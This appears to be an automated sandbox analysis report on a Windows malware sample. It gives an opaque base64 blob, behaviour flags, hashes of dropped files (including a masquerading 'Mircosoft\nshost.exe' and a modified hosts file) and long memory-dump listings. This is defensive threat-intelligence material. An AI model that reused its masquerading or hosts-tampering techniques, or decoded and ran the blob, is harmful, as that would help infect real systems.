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
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        PID:568
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
        Discovery
        Execution
          Exfiltration
            Impact
            Initial Access
              Lateral Movement
                Persistence
                Privilege Escalation
                  Replay Monitor
                  00:00 00:00
                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe

                    MD5

                    cc45f791667f3b9fb6281414f5325561

                    SHA1

                    df8b29bbc15712f928a61f6d0c8e045d823dce84

                    SHA256

                    dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

                    SHA512

                    f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe

                    MD5

                    cc45f791667f3b9fb6281414f5325561

                    SHA1

                    df8b29bbc15712f928a61f6d0c8e045d823dce84

                    SHA256

                    dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

                    SHA512

                    f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

                    Download Submit

                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                    MD5

                    dd970ec2fbe8d408c3497339195c2dbc

                    SHA1

                    2850c0cec1ec884070ff55bcf5eddccde1265457

                    SHA256

                    dda3fa9c4391ca9dca8fff62ead76a5ab5d741c7b7693778bcf00980d97fe5d2

                    SHA512

                    b4935fdb45496bc392dfd202c9d4e420f3ce75c54867009a3a2cbde7197c28ef1686a6f90624e82dfd8e6d254e1cae4dc75af2610ef141c7116597f10c589b4d

                    Download Submit

                  • C:\Windows\system32\drivers\etc\hosts

                    MD5

                    3715acee4598ecc9f6edf98c069c8f85

                    SHA1

                    700c0bfc09fcde757b83d3b5a92fc5fd48c72d8b

                    SHA256

                    53058b8e6ef749657f41ebe3999b88439a3042af8dbc27623f8923a1e9937b19

                    SHA512

                    bb749cb320ab655961c2c9353f472e580d0f9fb3084b4066398177d725f199dfec4446eb222919ef3dd08c13e2f02d8426629794fe539e3706e28ff484e98359

                    Download Submit

                  • \Users\Admin\AppData\Local\Temp\Mircosoft\nshost.exe

                    MD5

                    cc45f791667f3b9fb6281414f5325561

                    SHA1

                    df8b29bbc15712f928a61f6d0c8e045d823dce84

                    SHA256

                    dde77f52e25c661b86b499b40e627512b5713e53744c2bafb57450d7fdac3785

                    SHA512

                    f70692b95b4b09d65f5bf4ef5915fccbf2f0628ad206e3fa064b6d595e5176d4e9d89368215b474e0ca95f38bae918fe31f2d64aa9849a9045cd5b4d84ff95d7

                    Download Submit

                  • memory/272-127-0x0000000000000000-mapping.dmp

                    Download

                  • memory/272-95-0x0000000000000000-mapping.dmp

                    Download

                  • memory/272-67-0x0000000000000000-mapping.dmp

                    Download

                  • memory/300-68-0x0000000000000000-mapping.dmp

                    Download

                  • memory/304-136-0x0000000000790000-0x0000000000796000-memory.dmp

                    Download

                  • memory/304-98-0x0000000000000000-mapping.dmp

                    Download

                  • memory/304-101-0x00000000013D0000-0x0000000001B04000-memory.dmp

                    Download

                  • memory/396-129-0x0000000000000000-mapping.dmp

                    Download

                  • memory/436-80-0x0000000000000000-mapping.dmp

                    Download

                  • memory/520-164-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-169-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-170-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-171-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-172-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-173-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-174-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-177-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-178-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-179-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-180-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-167-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-181-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-182-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-166-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-184-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-185-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-186-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-195-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-187-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-188-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-189-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-190-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-183-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-193-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-192-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-165-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-175-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-162-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-161-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-160-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-159-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-191-0x0000000077920000-0x0000000077930000-memory.dmp

                    Download

                  • memory/520-176-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-104-0x0000000000000000-mapping.dmp

                    Download

                  • memory/520-157-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-107-0x000007FEEC8D0000-0x000007FEED42D000-memory.dmp

                    Download

                  • memory/520-108-0x000000001B780000-0x000000001BA7F000-memory.dmp

                    Download

                  • memory/520-109-0x0000000002814000-0x0000000002817000-memory.dmp

                    Download

                  • memory/520-110-0x000000000281B000-0x000000000283A000-memory.dmp

                    Download

                  • memory/520-168-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-163-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-156-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-158-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-155-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-153-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-152-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-151-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-150-0x000007FFFFBD0000-0x000007FFFFFA1000-memory.dmp

                    Download

                  • memory/520-149-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-148-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-144-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-142-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-141-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-139-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-146-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-154-0x0000000077820000-0x0000000077830000-memory.dmp

                    Download

                  • memory/520-138-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-223-0x0000000077B50000-0x0000000077B60000-memory.dmp

                    Download

                  • memory/520-137-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/520-194-0x0000000000400000-0x0000000001246000-memory.dmp

                    Download

                  • memory/568-125-0x0000000000000000-mapping.dmp

                    Download

                  • memory/568-221-0x0000000140000000-0x0000000140803000-memory.dmp

                    Download

                  • memory/568-222-0x0000000000000000-0x0000000001000000-memory.dmp

                    Download

                  • memory/608-133-0x0000000000000000-mapping.dmp

                    Download

                  • memory/616-73-0x0000000000000000-mapping.dmp

                    Download

                  • memory/616-130-0x0000000000000000-mapping.dmp

                    Download

                  • memory/652-119-0x0000000000000000-mapping.dmp

                    Download

                  • memory/652-64-0x0000000000000000-mapping.dmp

                    Download

                  • memory/748-75-0x0000000000000000-mapping.dmp

                    Download

                  • memory/788-71-0x0000000000000000-mapping.dmp

                    Download

                  • memory/812-76-0x0000000000000000-mapping.dmp

                    Download

                  • memory/832-121-0x0000000000000000-mapping.dmp

                    Download

                  • memory/900-82-0x0000000000000000-mapping.dmp

                    Download

                  • memory/940-62-0x0000000000000000-mapping.dmp

                    Download

                  • memory/944-89-0x0000000000000000-mapping.dmp

                    Download

                  • memory/956-115-0x0000000000000000-mapping.dmp

                    Download

                  • memory/968-72-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1028-88-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1068-96-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1068-69-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1072-90-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1092-55-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp

                    Download

                  • memory/1092-54-0x0000000000F50000-0x0000000001684000-memory.dmp

                    Download

                  • memory/1132-111-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1172-135-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1204-123-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1212-66-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1216-65-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1228-84-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1352-63-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1356-70-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1368-131-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1372-126-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1384-79-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1412-77-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1412-132-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1520-134-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1544-92-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1568-224-0x0000000000060000-0x000000000006A000-memory.dmp

                    Download

                  • memory/1568-112-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1600-103-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1620-85-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1624-86-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1652-56-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1652-120-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1660-124-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1716-114-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1736-87-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1748-81-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1760-57-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1760-59-0x000007FEECDF0000-0x000007FEED94D000-memory.dmp

                    Download

                  • memory/1760-61-0x00000000024AB000-0x00000000024CA000-memory.dmp

                    Download

                  • memory/1760-60-0x00000000024A4000-0x00000000024A7000-memory.dmp

                    Download

                  • memory/1768-91-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1776-78-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1784-93-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1784-128-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1936-118-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1944-122-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1956-74-0x0000000000000000-mapping.dmp

                    Download

                  • memory/1984-83-0x0000000000000000-mapping.dmp

                    Download

                  • memory/2008-94-0x0000000000000000-mapping.dmp

                    Download

                  • memory/2032-116-0x0000000000000000-mapping.dmp

                    Download

                  • memory/2040-117-0x0000000000000000-mapping.dmp

                    Download